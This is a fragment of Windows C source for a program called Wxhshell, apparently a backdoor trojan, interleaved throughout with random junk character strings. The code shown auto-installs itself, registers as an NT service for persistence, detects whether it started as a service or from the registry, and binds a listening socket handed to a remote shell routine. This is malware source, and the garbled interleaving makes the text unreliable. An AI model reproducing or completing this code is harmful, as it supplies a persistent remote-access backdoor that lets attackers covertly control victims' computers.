.@Tbbt if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Ev ,8? 9e*poG CloseHandle(hProcess); #yxYL0CcA: 2_DtzY:= hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ttt&sW` if(hProcess==NULL) return 0; ".Z+bi2l NT:>.~ah@& HMODULE hMod; g{{SY5qDj char procName[255]; Efd[ZJxS6 unsigned long cbNeeded; QCnVZ" !( 82l";;n4p if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r{;4(3E2 1S@k=EKM CloseHandle(hProcess); ho<#i( +T;qvx6 if(strstr(procName,"services")) return 1; // 以服务启动 eX/$[SL[ 7dRU7p> return 0; // 注册表启动 _4w%U[GT, } c@P, ZBWe,Xvq // 主模块 *9PQJeyR int StartWxhshell(LPSTR lpCmdLine) c4|.!AQ> { 6Xa2A6 SOCKET wsl; *Bj G3Jc5 BOOL val=TRUE; >=(e}~5y int port=0; f\JyN@w+ struct sockaddr_in door; }\ F>z U7N<!6 if(wscfg.ws_autoins) Install(); VI4d/2e e:]$UAzp port=atoi(lpCmdLine); OkM> pJIH_H if(port<=0) port=wscfg.ws_port; l #Tm`br e-WaK0Ep WSADATA data; pfG:PrZ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QZY(S*Up d0,I] " if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BdTj0{S1u setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Jg:'gF]jt door.sin_family = AF_INET; 7hc(]8eP door.sin_addr.s_addr = inet_addr("127.0.0.1"); />?d
2? door.sin_port = htons(port); 2+'&||h DI\^+P if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W$&Q.Z closesocket(wsl); 6\bbP>ql return 1; W*)>Tr)o } al2v1.Y} -%A6eRShk if(listen(wsl,2) == INVALID_SOCKET) { sTb/l!=o closesocket(wsl); J]%P
fWV return 1; LZeR.8XM> } `:2C9,Xu Wxhshell(wsl); X!@Gv:TD WSACleanup(); t :_7O7 'K`)q6m return 0; F"q3p4-<> 1osI~oNZ } ,UP6.C14 &I70veNY // 以NT服务方式启动 YpWu\oP VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) NT/}}vES { au8)G_A DWORD status = 0; 6};Sn/8 DWORD specificError = 0xfffffff; \3KCZ zIL.R#|D= serviceStatus.dwServiceType = SERVICE_WIN32; 6V8"[0U serviceStatus.dwCurrentState = SERVICE_START_PENDING; rnW i<Se serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0ul2rZc serviceStatus.dwWin32ExitCode = 0; r4-r
z+x serviceStatus.dwServiceSpecificExitCode = 0; (<f[$ |% serviceStatus.dwCheckPoint = 0; F2u{Wzr_@ serviceStatus.dwWaitHint = 0; -Oo$\=d =IUTU4!] hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); rlds-j'' if (hServiceStatusHandle==0) return; $}&6p6| #):FXB$a status = GetLastError(); \dP2xou= if (status!=NO_ERROR) v(afaN { ci$o~b6V serviceStatus.dwCurrentState = SERVICE_STOPPED; {C<ch@sR serviceStatus.dwCheckPoint = 0; j3FDGDrg serviceStatus.dwWaitHint = 0; +>s[w{Svy serviceStatus.dwWin32ExitCode = status; DukCXyB*l serviceStatus.dwServiceSpecificExitCode = specificError; NZ
Xmrc{S SetServiceStatus(hServiceStatusHandle, &serviceStatus); nJ6bC^*)U return; $idYG<], } LTi0,03l< 3c6#?<%0` serviceStatus.dwCurrentState = SERVICE_RUNNING; a.q= serviceStatus.dwCheckPoint = 0; IQR?n}ce serviceStatus.dwWaitHint = 0; 2"NJt9w if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ATwPfo8jx@ } c(@)V.o2 H3&$: h // 处理NT服务事件,比如:启动、停止 L"AZ,|wIk VOID WINAPI NTServiceHandler(DWORD fdwControl) @k6>&PS { fu33wz1$}B switch(fdwControl) q),yY]5 { Og^b'Kx/ case SERVICE_CONTROL_STOP: ;Lz96R@} serviceStatus.dwWin32ExitCode = 0; aj1Zi3h serviceStatus.dwCurrentState = SERVICE_STOPPED; UE*M\r< serviceStatus.dwCheckPoint = 0; oKzLt serviceStatus.dwWaitHint = 0; h\jwXMi,tj { zU]95I SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZMoN } - wCfwC return; g&&5F>mF case SERVICE_CONTROL_PAUSE:
z7> serviceStatus.dwCurrentState = SERVICE_PAUSED; S)p1[&" M break; E7ixl~ case SERVICE_CONTROL_CONTINUE: tK0?9M.) serviceStatus.dwCurrentState = SERVICE_RUNNING; ~Sh8. ++} break; R0AVAUG case SERVICE_CONTROL_INTERROGATE: usX
aT(K break; r65/O5F }; dy`K5lC@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); bZz ,' } fn]f$n*` m&cVda/ // 标准应用程序主函数 +O2T% int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0escp~\Z { hv2@}< |